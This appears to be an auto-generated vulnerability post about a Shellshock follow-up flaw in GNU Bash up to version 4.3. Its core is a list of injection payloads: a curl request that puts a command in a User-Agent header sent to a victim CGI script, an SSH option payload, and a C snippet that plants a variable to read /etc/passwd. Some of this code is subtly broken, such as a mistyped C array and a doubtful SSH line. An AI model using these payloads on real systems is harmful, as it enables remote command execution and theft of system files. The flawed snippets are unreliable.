Listen to this Post
This CVE is a flaw in the GNU Bash shell up to version 4.3. It stems from an incomplete fix for the original Shellshock vulnerabilities (CVE-2014-6271). The vulnerability occurs because Bash incorrectly processes trailing code in function definitions stored within environment variables. When Bash is invoked, it automatically parses these function definitions from specially crafted environment variables. An attacker can exploit this by injecting malicious commands after a function definition, which are then executed unintentionally by the shell. This allows for remote code execution in scenarios where an application assigns a malicious environment variable to a Bash process, such as through web requests to CGI scripts or via SSH ForceCommand.
Platform: GNU Bash
Version: <=4.3
Vulnerability: Command Injection
Severity: Critical
date: 2014-09-24
Prediction: 2014-09-25
What Undercode Say:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
env -i X=' () { }; echo vulnerable' bash -c 'date'
curl -H "User-Agent: () { :; }; /bin/eject" http://victim-cgi/script.cgi
ssh user@host -o "RemoteCommand=() { :; }; echo vulnerable"
// Example concept of a crafted environment variable
char envp[] = {
"HTTP_USER_AGENT=() { :; }; /bin/cat /etc/passwd",
NULL
};
execle("/bin/bash", "bash", "-c", "/usr/lib/cgi-bin/script", NULL, envp);
How Exploit:
Malicious HTTP Headers
SSH ForceCommand
DHCP Client Scripts
Protection from this CVE:
Update Bash
Input Sanitization
Network Segmentation
Impact:
Remote Code Execution
System Compromise
Network Breach
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
